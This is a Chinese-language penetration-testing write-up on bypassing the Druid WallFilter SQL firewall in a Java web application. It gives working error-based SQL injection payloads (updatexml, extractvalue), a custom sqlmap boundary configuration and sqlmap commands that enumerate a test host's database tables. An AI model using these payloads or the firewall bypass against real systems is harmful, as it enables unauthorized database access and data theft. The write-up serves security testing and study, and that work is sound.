注:本文针对xm17大佬遇到的实际场景进行补充。
@test_xw(testxw)作者

问题场景

在测试中,遇到了一个sql注入,注入点出现在查询语句中,通过报错信息得知,sql语句如下:
select * from http_sequence_log t where t.pguid like ‘%${pguid}%’ andreplace(pguid,’-‘,’’)
遇到这种基本上闭合加报错一笔带过就OK了 但是呢,报错,提示sql注入,sql查询语句中包含恒为假的条件

sql injection violation, part alway false condition not allow
Druid-WallFilter sql防火墙绕过浅析 - 图1

  • 漏洞判定

通过注入点判断,确定当前确实存在sql注入漏洞
报错:guid=12’and 1-user=’
正常:guid=12’and 1-user()=’
Druid-WallFilter sql防火墙绕过浅析 - 图2
sqlmap直接跑,发现无法识别出当前注入点。经过搜索发现是druid的sql防火墙拦截导致的。
Druid-WallFilter sql防火墙绕过浅析 - 图3

漏洞利用

参考链接:
https://mp.weixin.qq.com/s/lGalf63VXCva2I5BpmSMgQ
在本地搭建环境后,测试出的payload可以绕过 。
12’ or updatexml(1,concat(0x7e,user(),0x7e),1) =’1
Druid-WallFilter sql防火墙绕过浅析 - 图4

扩展

同理可以得出以下payload

  1. 'or+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
  2. 同理 &&和||也可以%26%26updatexml(1,concat(0x7e,(select+user()),0x7e),1)='1

Druid-WallFilter sql防火墙绕过浅析 - 图5

解决sqlmap无法注入

我们发现sqlmap无法识别此注入点,主要是因为无法闭合后面的sql语句中的%’
那我们就自己添加一组闭合方式。
修改sqlmap配置文件“sqlmap\data\xml\boundaries.xml”新增或者只保留此一种闭合方式。

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <root> <!-- Generic boundaries --> <boundary> <level>1</level> <clause>1</clause> <where>1</where> <ptype>1</ptype> <prefix>'</prefix> <suffix>='</suffix> </boundary> </root>

Druid-WallFilter sql防火墙绕过浅析 - 图6
直接sqlmap跑,发现可以成功盲注,但是太慢了
sqlmap.py -u “http://192.168.3.202:8080/monitorLog?guid=12“ —dbms=”mysql” -v 3
Druid-WallFilter sql防火墙绕过浅析 - 图7
我们可以强制让sqlmap走报错注入模式,速度瞬间飞起:
sqlmap.py -u “http://192.168.3.202:8080/monitorLog?guid=12*“ —technique=E -v 3 —tables -D “apimonitor”

备注:

druid的sql防火墙对应的类路径为:com\alibaba\druid\wall\WallFilter.java
Druid-WallFilter sql防火墙绕过浅析 - 图8
引入配置文件
Druid-WallFilter sql防火墙绕过浅析 - 图9
Druid-WallFilter sql防火墙绕过浅析 - 图10
黑名单展示:
Druid-WallFilter sql防火墙绕过浅析 - 图11
Druid-WallFilter sql防火墙绕过浅析 - 图12